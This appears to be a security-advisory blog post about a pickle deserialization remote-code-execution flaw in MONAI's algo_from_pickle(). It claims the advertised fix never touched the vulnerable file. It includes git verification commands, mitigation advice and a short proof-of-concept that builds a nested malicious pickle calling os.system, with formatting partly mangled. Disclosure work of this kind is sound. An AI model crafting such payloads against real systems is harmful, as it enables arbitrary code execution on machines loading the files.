Listen to this Post
The vulnerability resides in the `algo_from_pickle()` function within the `monai/auto3dseg/utils.py` file of the MONAI library. This function is designed to deserialize machine learning algorithm data from a pickle file. The core issue is the use of Python’s built-in `pickle.loads()` without any form of sanitization, whitelisting, or subclassing of `Unpickler` to restrict the classes that can be loaded or the functions that can be executed. The `pickle` module is inherently unsafe for deserializing data from untrusted sources, as it allows the instantiation of arbitrary objects and the execution of arbitrary code during the unpickling process.
The function reads the entire content of a provided pickle file and immediately passes it to pickle.loads(). An attacker can craft a malicious pickle payload that, when deserialized, executes system commands. The flaw is exacerbated because the validation of the deserialized data structure (using `isinstance` and key checks) occurs after the initial deserialization. This means the malicious code is executed at the moment `pickle.loads()` is called on line 321, before any integrity or structure checks can be performed.
Furthermore, the function extracts a secondary payload (algo_bytes) from the initial data. This payload is then deserialized again using `pickle.loads()` on lines 350 or 356, providing a second and third attack surface. The vulnerability is considered critical because it leads to Remote Code Execution (RCE), allowing an attacker to execute arbitrary commands on the server or system running the MONAI pipeline.
While a GitHub Security Advisory (GHSA-89gg-p5r5-q6r4) claimed this issue was fixed in version 1.5.2, a review of the source code reveals that the `monai/auto3dseg/utils.py` file has not been modified since July 12, 2024. The release of version 1.5.2 on January 29, 2026, did not include any changes to the vulnerable code. The advisory linked the fix to an unrelated Zip Slip vulnerability, demonstrating that the specific pickle deserialization flaw was never patched. This makes the published fix ineffective and leaves all versions up to and including 1.5.2 vulnerable.
DailyCVE Form:
Platform: MONAI Library
Version: 1.5.2
Vulnerability: Pickle Deserialization RCE
Severity: Critical
date: 2026-01-29
Prediction: 2026-02-15
What Undercode Say:
Verify the vulnerable code remains unchanged in v1.5.2 git clone https://github.com/Project-MONAI/MONAI.git cd MONAI git checkout tags/1.5.2 Check the last commit date of the vulnerable file git log -1 --format="%ci" -- monai/auto3dseg/utils.py Output: 2024-07-12 08:02:15 +0000 Compare the file with the v1.5.1 tag to confirm no changes git diff tags/1.5.1 tags/1.5.2 -- monai/auto3dseg/utils.py No output indicates the file is identical.
Exploit: (Educational Purposes!)
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
Command to execute: create a proof file on the system
return (os.system, ('touch /tmp/pwned.txt',))
Create a nested payload.
The outer data structure will be deserialized at SINK 1 (line 321).
The "algo_bytes" payload will be deserialized at SINK 2 (line 350).
payload = {
"algo_bytes": pickle.dumps(Exploit()),
"template_path": None
}
Write the malicious pickle file
with open("evil.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("Malicious file 'evil.pkl' generated. The target machine will execute the command when this file is processed.")
Protection:
- Avoid Untrusted Sources: Never deserialize pickle data from untrusted or unauthenticated sources.
- Use a Safe Loader: Implement a custom `Unpickler` class that restricts the `find_class` method to only allow known-safe modules and classes.
- Input Validation: Validate the file path and data structure before passing it to the deserialization function.
- Upgrade: As of the current assessment, no patched version exists for this specific vulnerability. Monitor the MONAI repository for a future commit that addresses this `utils.py` file.
Impact:
- Remote Code Execution (RCE): An attacker with control over the pickle file path supplied to `algo_from_pickle()` can execute arbitrary system commands on the machine running the MONAI application.
- Data Breach: An attacker could use this RCE to exfiltrate sensitive data, including medical imaging data, model checkpoints, or proprietary algorithms.
- Supply Chain Attacks: In medical AI workflows, model checkpoints are frequently exchanged. An attacker could compromise a shared model checkpoint file, leading to the compromise of all systems that load it.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
